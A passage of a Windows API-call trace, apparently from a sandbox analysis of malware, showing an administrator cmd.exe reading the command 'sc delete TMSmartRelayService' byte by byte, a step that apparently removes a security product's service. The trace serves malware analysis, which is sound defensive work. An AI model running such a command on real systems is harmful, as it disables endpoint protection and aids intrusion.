dwMilliseconds=0xffffffff) returned 0x0 [0073.607] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.607] CloseHandle (hObject=0x54) returned 1 [0073.607] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.607] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.607] GetProcessHeap () returned 0x4a0000 [0073.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.607] GetEnvironmentStringsW () returned 0x4c1b10* [0073.607] GetProcessHeap () returned 0x4a0000 [0073.607] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.607] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.607] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.607] GetProcessHeap () returned 0x4a0000 [0073.607] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.607] GetEnvironmentStringsW () returned 0x4c1b10* [0073.607] GetProcessHeap () returned 0x4a0000 [0073.608] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.608] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.608] GetProcessHeap () returned 0x4a0000 [0073.608] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.608] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.608] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.608] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.608] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.608] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.608] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.609] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.609] GetConsoleOutputCP () returned 0x1b5 [0073.609] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.609] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.609] GetProcessHeap () returned 0x4a0000 [0073.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0073.609] GetProcessHeap () returned 0x4a0000 [0073.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.609] GetProcessHeap () returned 0x4a0000 [0073.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.609] GetProcessHeap () returned 0x4a0000 [0073.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.609] GetProcessHeap () returned 0x4a0000 [0073.609] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.610] GetProcessHeap () returned 0x4a0000 [0073.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.610] GetProcessHeap () returned 0x4a0000 [0073.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0073.610] GetProcessHeap () returned 0x4a0000 [0073.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.610] GetProcessHeap () returned 0x4a0000 [0073.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.610] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.610] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.610] GetFileType (hFile=0x120) returned 0x3 [0073.610] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.610] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.610] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.610] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.610] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.610] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.610] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.610] GetFileType (hFile=0x120) returned 0x3 [0073.610] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.613] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.613] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.613] GetFileType (hFile=0xb8) returned 0x3 [0073.613] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.613] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.613] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.613] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.613] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.613] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.613] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.613] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.613] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.614] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.614] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.614] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.614] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.614] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.614] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.614] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.614] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.614] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.614] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.614] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.614] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.614] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.614] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.614] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.615] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.615] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.615] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.615] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.615] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.615] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.615] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.615] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.615] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="TMSmartRelayService\n\n\nA\"\n") returned 1 [0073.615] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.615] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.615] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MSmartRelayService\n\n\nA\"\n") returned 1 [0073.615] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.615] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.615] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="imartRelayService\n\n\nA\"\n") returned 1 [0073.616] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.616] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.616] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="CartRelayService\n\n\nA\"\n") returned 1 [0073.616] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.616] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.616] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="RrtRelayService\n\n\nA\"\n") returned 1 [0073.616] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.616] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.616] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="CtRelayService\n\n\nA\"\n") returned 1 [0073.616] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.616] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.616] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="SRelayService\n\n\nA\"\n") returned 1 [0073.616] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.616] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.616] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="celayService\n\n\nA\"\n") returned 1 [0073.616] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.616] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.616] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.616] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="alayService\n\n\nA\"\n") returned 1 [0073.617] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.617] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.617] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.617] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="nayService\n\n\nA\"\n") returned 1 [0073.617] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.617] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.617] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.617] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="SyService\n\n\nA\"\n") returned 1 [0073.617] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.617] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.617] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.617] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="eService\n\n\nA\"\n") returned 1 [0073.617] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.617] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.617] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.617] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="rervice\n\n\nA\"\n") returned 1 [0073.617] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.617] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.617] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.617] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="vrvice\n\n\nA\"\n") returned 1 [0073.617] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.617] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.617] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.618] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="ivice\n\n\nA\"\n") returned 1 [0073.618] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.618] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.618] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.618] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="cice\n\n\nA\"\n") returned 1 [0073.618] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.618] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.618] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.618] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="ece\n\n\nA\"\n") returned 1 [0073.618] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.618] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.618] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.618] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="\ne\n\n\nA\"\n") returned 1 [0073.618] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.618] GetFileType (hFile=0xb8) returned 